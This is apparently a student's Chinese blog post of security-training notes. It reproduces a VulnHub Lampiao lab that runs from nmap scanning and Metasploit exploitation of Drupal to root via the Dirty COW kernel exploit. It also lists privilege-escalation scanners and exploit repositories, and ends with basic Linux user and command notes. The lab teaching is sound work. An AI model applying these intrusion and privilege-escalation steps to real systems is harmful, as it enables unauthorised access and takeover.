信息安全毕业实训实习-Day10

1. 课上提权案例复现

1.1 扫描内网存活主机

1. 通过"ip a"命令,查看IP地址。

2. 通过nmap工具,扫描同一内网下存活的主机。

nmap 192.168.62.0/24			# 找到可疑的IP(存在一些开放端口的主机)

1.2 信息收集

1. 发现可疑的IP,在浏览器中访问看一下,发现是一个静态网页。

2. 使用nmap对刚刚得到的可疑IP进行全端口扫描。

nmap -T4 -p 1-65535 192.168.62.136

发现一个可疑端口:1898,再次尝试浏览器访问,成功找到了Lampiao的登陆后台页面。

ps:可以试一下弱口令,不过大概率不会成功。

3. 使用Wappalyzer插件分析网页,得到了网页的信息。

1.3 尝试攻击

1. 使用msf搜索目标后台(内容管理系统)Drupal的漏洞

msfconsole 				# 进入msf
search drupal			# 搜索目标cms
use 1 					# 选择1号模块使用

2. 配置options信息,直接run。

options                             # 显示需要的配置
# 进行相应配置
set rhost192.168.159.143			# 配置为目标机器ip
set rport 1898						# 配置为目标机器开放此服务(drupal)的端口

run                                 # 开始攻击

3. 也是直接成功得到了session,查看一下当前用户的权限和内核的版本信息等。

getuid		# 获取当前用户信息
# 搜集内核信息的一些命令
uname -a					
lsb_release -a
cat /proc/version
cat /etc/os-release

可以看到,用户是www-data,系统为14.04.1-Ubuntu,要进行提权变为root用户。

1.4 开始提权

1. 上传提权的扫描脚本,授权后运行脚本。

2. 执行脚本后,得到了虚拟机的信息

3. 脚本扫描出了很多漏洞,这里选择CVE-2016-5195。

4. 根据扫描出来的CVE去找对应的EXP。

项目地址:https://github.com/gbonacini/CVE-2016-5195

ps:这里选择253-261,比较稳定。

因为没有release,所以只能下载后自己进行编译了。

5. 将刚刚的zip进行上传

ps:最好在上传之后再进行编译,不要编译好后再上传,防止因为环境兼容性的原因导致失败。

6. 编译成功后运行,成功得到了root的密码。

7. 要进行root登陆时,提示需要在命令行中执行。通过python打开命令行,成功提权。

ps:python启动命令行的指令还是比较有用的,主要是平常用不到,用到的时候就容易蒙。

2. Linux内核提权利用步骤(从内网信息收集到提权成功的思路)

2.1 Linux提权

linux提权和windows一样,也分为内核漏洞提权,数据库类提权,错误配置提权。内核提权是当前linux主流提权方式。在windows中主流的内核提权是土豆家族,同样的在linux中也有主流的提权家族漏洞——脏牛家族
脏牛漏洞是一种利用linux内核中写时复制机制的竞态条件漏洞。在linux系统中,为了提高内存使用效率,多个进程可以共享相同的物理内存页面。当其中一个进程尝试修改该页面时,系统会复制该页面的一个副本给修改进程,以保证其他进程的数据不被破坏。然而,脏牛漏洞通过特定的操作序列,使得这种机制在并发环境下出现竞态条件,从而允许低权限用户修改原本只读的内存映射,进而可能实现提权。

2.2 Linux提权开源项目

# 针对提权的扫描脚本
https://github.com/the-Z-labs/linux-exploit-suggester 	 # shell脚本
https://github.com/belane/linux-soft-exploit-suggester   # python开发
https://github.com/liamg/traitor 						 # go语言开发,可能需要先编译
https://github.com/jondonas/linux-exploit-suggester-2 	 # Perl语言开发

# 扫描提权一体化的扫描脚本
https://github.com/carlospolop/PEASS-ng					 # 有多种编译方案
https://github.com/diego-treitos/linux-smart-enumeratio	 # shell脚本
https://github.com/redcode-labs/Bashark				     # shell脚本
https://github.com/rebootuser/LinEnum				     #shell脚本

2.3 Linux内核提权步骤

2.3.1 内网信息收集

  1. 使用nmap扫描内网存活主机,确定攻击目标。
  2. 使用nmap或fscan等扫描工具收集目标系统信息,包括操作系统版本、内核版本、运行的服务、开放的端口、已安装的软件等。

2.3.2 寻找已知漏洞

  1. 根据收集到的信息,如若开放80或443端口可使用浏览器插件识别网站架构等信息,搜索已知的漏洞数据库,如阿里云漏洞库等。
  2. 使用工具如MSF中的search指令来查找与目标系统相关的已知漏洞。

2.3.3 本地漏洞利用

  • 如果发现可利用的漏洞,尝试使用现有的EXP(漏洞利用代码)进行攻击。
# EXP获取方式
https://github.com/Ascotbe/Kernelhub
http://kernelhub.ascotbe.com/Windows/Docs/#/
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/nomi-sec/PoC-in-GitHub
https://gitlab.com/exploit-database/exploitdb
  • 使用工具如Metasploit框架来尝试利用已知漏洞。

2.3.4 内核漏洞利用

# 针对提权的扫描脚本
https://github.com/the-Z-labs/linux-exploit-suggester 	 # shell脚本
https://github.com/belane/linux-soft-exploit-suggester   # python开发
https://github.com/liamg/traitor 						 # go语言开发,可能需要先编译
https://github.com/jondonas/linux-exploit-suggester-2 	 # Perl语言开发

# 扫描提权一体化的扫描脚本
https://github.com/carlospolop/PEASS-ng					 # 有多种编译方案
https://github.com/diego-treitos/linux-smart-enumeratio	 # shell脚本
https://github.com/redcode-labs/Bashark				     # shell脚本
https://github.com/rebootuser/LinEnum				     #shell脚本

2.3.5 提权脚本和工具

使用自动化提权工具,如Linux提权常用工具脏牛家族。

脏牛提权 dirty.c:[VulnHub靶机渗透] 常用的linux提权方法——脏牛提权 dirty.c_漏洞复现之linux脏牛提权漏洞(vulnhub靶场)-CSDN博客

2.3.6 验证提权结果

在命令行中输入指令,查看是否提权成功。如果输出显示当前用户为 root,则表明提权成功。

id
whoami

3. Linux基础知识

3.1 Linux用户/用户组

3.1.1 Linux用户分类

  • 超级用户:用户名为root,它具有一切权限,只有进行系统维护(例如:建立用户等)或其他必要情形下才用超级用户登录,以避免系统出现安全问题。
  • 系统用户:是Linux系统正常工作所必需的内建的用户。主要是为了满足相应的系统进程对文件属主的要求而建立自为,例如:bin、daemon、adm、lp等用户。系统用户不能用来登录。
  • 普通用户:是为了让使用者能够使用Linux系统资源而建立的,我们的大多数用户属于此类。

3.1.2 linux用户组分类

  • 基本组(私有组):建立账户时,若没有指定账户所属的组,系统会建立一个和用户名相同的组,这个组就是基本组,基本组只容纳一个用户。当把其他用户加入到该组中,则基本组就变成了附加组。
  • 附加组(公有组):可以容纳多个用户,组中的用户都具有组所拥有的权利。
  • 系统组:一般加入一些系统用户。

3.1.3 linux中用户和用户组配置文件

/etc/passwd —— 用户账户文件 
/etc/shadow ——用户密码文件
/etc/group ——用户组账号文件 
/etc/gshadow ——用户组密码文件

3.2 Linux用户管理

# 添加用户
useradd username
# 设置密码
passwd username	
# 删除用户 
userdel username
# 切换用户
su username
# 用户提权 
sudo command 		# (能不能执行某个操作还是需要以配置文件为准)

3.3 Linux常用基础命令

ls:列出当前目录中的文件和子目录
pwd:显示当前工作目录的路径
cd:切换工作目录
mkdir:创建新目录
rmdir:删除空目录
rm:删除文件或目录
cp:复制文件或目录
mv:移动或重命名文件或目录
touch:创建空文件或更新文件的时间戳
cat:连接和显示文件内容
more/less:逐页显示文本文件内容
head/tail:显示文件的前几行或后几行
grep:在文件中搜索指定文本

这里只罗列了部分,更多参考Linux常用命令(含完整命令语句)参考:

【Linux】Linux常用命令60条(含完整命令语句)_linux必学的60个命令-CSDN博客

  • 9
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值